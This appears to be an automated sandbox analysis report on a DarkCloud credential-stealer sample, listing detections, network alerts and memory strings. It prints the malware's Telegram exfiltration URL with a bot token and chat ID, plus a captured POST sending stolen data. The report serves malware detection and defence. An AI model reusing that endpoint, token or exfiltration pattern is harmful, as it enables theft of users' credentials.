Edit tour

Windows Analysis Report
wMy37vlfvz.exe

Overview

General Information

Sample name:	wMy37vlfvz.exe renamed because original name is a hash value
Original sample name:	16efabc49c172527044fbf2015d1f48531cfb7b306b98fcd5c6fc16b38c68da0.exe
Analysis ID:	1562297
MD5:	8f6ee9ba8ff5fd89141322d36e8fe46d
SHA1:	d316c5f7b286ca316129aed8ddd8baeaaa07961b
SHA256:	16efabc49c172527044fbf2015d1f48531cfb7b306b98fcd5c6fc16b38c68da0
Tags:	exeuser-adrian__luca
Infos:

Detection

DarkCloud

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DarkCloud

AI detected suspicious sample

Machine Learning detection for sample

PE file has a writeable .text section

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Uses the Telegram API (likely for C&C communication)

Writes or reads registry keys via WMI

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

wMy37vlfvz.exe (PID: 4304 cmdline: "C:\Users\user\Desktop\wMy37vlfvz.exe" MD5: 8F6EE9BA8FF5FD89141322D36E8FE46D)

WmiPrvSE.exe (PID: 7156 cmdline: C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding MD5: 64ACA4F48771A5BA50CD50F2410632AD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DarkCloud Stealer	Stealer is written in Visual Basic.	No Attribution	https://asec.ahnlab.com/en/53128/ https://c3rb3ru5d3d53c.github.io/malware-blog/darkcloud-stealer/	https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud

Malware Configuration

Threatname: DarkCloud

{"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendMessage?chat_id=6115850689"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
wMy37vlfvz.exe	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000000.2349408415.0000000000401000.00000080.00000001.01000000.00000003.sdmp	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
Process Memory Space: wMy37vlfvz.exe PID: 4304	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
Process Memory Space: wMy37vlfvz.exe PID: 4304	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
1.0.wMy37vlfvz.exe.400000.0.unpack	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security

Suricata Signatures

ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T13:40:24.817386+0100	2045300	1	A Network Trojan was detected	192.168.2.6	49862	149.154.167.220	443	TCP
2024-11-25T13:40:36.340536+0100	2045300	1	A Network Trojan was detected	192.168.2.6	49892	149.154.167.220	443	TCP
2024-11-25T13:40:47.182620+0100	2045300	1	A Network Trojan was detected	192.168.2.6	49917	149.154.167.220	443	TCP
2024-11-25T13:40:58.735747+0100	2045300	1	A Network Trojan was detected	192.168.2.6	49945	149.154.167.220	443	TCP
2024-11-25T13:41:09.619388+0100	2045300	1	A Network Trojan was detected	192.168.2.6	49972	149.154.167.220	443	TCP
2024-11-25T13:41:20.217958+0100	2045300	1	A Network Trojan was detected	192.168.2.6	49998	149.154.167.220	443	TCP
2024-11-25T13:41:31.121876+0100	2045300	1	A Network Trojan was detected	192.168.2.6	50012	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T13:39:36.915612+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49750	162.55.60.2	80	TCP

ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T13:40:15.413974+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.6	49841	149.154.167.220	443	TCP
2024-11-25T13:40:23.770629+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.6	49862	149.154.167.220	443	TCP
2024-11-25T13:40:29.222886+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.6	49876	149.154.167.220	443	TCP
2024-11-25T13:40:35.386318+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.6	49892	149.154.167.220	443	TCP
2024-11-25T13:40:39.774986+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.6	49901	149.154.167.220	443	TCP
2024-11-25T13:40:46.286303+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.6	49917	149.154.167.220	443	TCP
2024-11-25T13:40:50.510179+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.6	49927	149.154.167.220	443	TCP
2024-11-25T13:40:57.891652+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.6	49945	149.154.167.220	443	TCP
2024-11-25T13:41:02.287037+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.6	49958	149.154.167.220	443	TCP
2024-11-25T13:41:08.671070+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.6	49972	149.154.167.220	443	TCP
2024-11-25T13:41:12.671022+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.6	49983	149.154.167.220	443	TCP
2024-11-25T13:41:19.298013+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.6	49998	149.154.167.220	443	TCP
2024-11-25T13:41:23.330619+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.6	50007	149.154.167.220	443	TCP
2024-11-25T13:41:30.190109+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.6	50012	149.154.167.220	443	TCP
2024-11-25T13:41:34.597132+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.6	50013	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: */*Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache

Source: wMy37vlfvz.exe, 00000001.00000003.2422426682.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419621797.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schema.org
Source: wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.maxmind.com
Source: wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/
Source: wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/IlD
Source: wMy37vlfvz.exe	String found in binary or memory: https://api.telegram.org/bot
Source: wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115
Source: wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/cZ
Source: wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/wA
Source: wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fundingchoicesmessages.google.com/i/pub-8790158038613050?ers=1
Source: wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2869807476.0000000003328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: wMy37vlfvz.exe, 00000001.00000003.2422426682.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419621797.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://showip.net/
Source: wMy37vlfvz.exe, 00000001.00000003.2422426682.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419621797.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://showip.net/?checkip=
Source: wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://unpkg.com/leaflet
Source: wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: wMy37vlfvz.exe, 00000001.00000003.2422426682.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2427031495.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-L6NKT5G6D7
Source: wMy37vlfvz.exe, 00000001.00000003.2422426682.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419621797.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openstreetmap.org/copyright

Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49841 version: TLS 1.2

System Summary

PE file has a writeable .text section

Source: wMy37vlfvz.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Writes or reads registry keys via WMI

Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::enumvalues
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::getstringvalue
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey

Source: wMy37vlfvz.exe

Static PE information: Resource name: CUSTOM type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed

Source: wMy37vlfvz.exe

Binary or memory string: OriginalFilenamesootiest.exe vs wMy37vlfvz.exe

Source: wMy37vlfvz.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: wMy37vlfvz.exe

Binary or memory string: D*\AC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Templates\Stub\Project1.vbp4A@=

Source: classification engine

Classification label: mal100.troj.spyw.winEXE@2/19@2/2

Source: C:\Users\user\Desktop\wMy37vlfvz.exe

Mutant created: NULL

Source: wMy37vlfvz.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\wMy37vlfvz.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: wMy37vlfvz.exe, 00000001.00000003.2378529333.000000000088B000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2377514856.000000000088E000.00000004.00000020.00020000.00000000.sdmp, LogqueintiseRngmeEXkkcAcRDShRzsDXooICEfirelit.1.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: wMy37vlfvz.exe

ReversingLabs: Detection: 65%

Source: unknown	Process created: C:\Users\user\Desktop\wMy37vlfvz.exe "C:\Users\user\Desktop\wMy37vlfvz.exe"
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process created: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding

Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: esscli.dll	Jump to behavior

Source: C:\Users\user\Desktop\wMy37vlfvz.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{EE09B103-97E0-11CF-978F-00A02463E06F}\InprocServer32

Jump to behavior

Source:

Binary string: W.pdb4 source: wMy37vlfvz.exe

Source: wMy37vlfvz.exe

Static PE information: real checksum: 0x7e01c should be: 0x713a6

Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\wMy37vlfvz.exe

Window / User API: foregroundWindowGot 1778

Jump to behavior

Source: WebData.1.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: WebData.1.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: WebData.1.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: WebData.1.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: WebData.1.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: WebData.1.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: WebData.1.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: WebData.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: WebData.1.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: WebData.1.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: WebData.1.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
